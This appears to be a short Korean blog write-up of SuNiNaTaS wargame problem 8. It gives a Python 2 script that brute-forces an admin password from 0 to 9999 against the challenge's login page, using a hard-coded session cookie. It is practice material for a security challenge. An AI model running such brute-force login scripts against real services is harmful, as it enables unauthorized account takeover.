[SuNiNaTaS] 8번 문제

이전에는 Burp의 Intruder 기능을 이용하여 풀었지만 Python 연습도 할겸 Python으로 풀었다.

import urllib2
import urllib
 
url = 'http://suninatas.com/Part_one/web08/web08.asp'
 
for i in range(0,10000):
    data = {"id":"admin","pw":str(i)}
    data = urllib.urlencode(data)
    
    request = urllib2.Request(url,data)
    request.add_header('Cookie','ASPSESSIONIDASASDRCS=NGJBKGGBOGDFNGMGADBFNCPF')
 
    response = urllib2.urlopen(request)
    
    if response.read().find("Incorrect")==-1:
        print "[+] success : " +data
        break
 
    print "[-] fail : " + data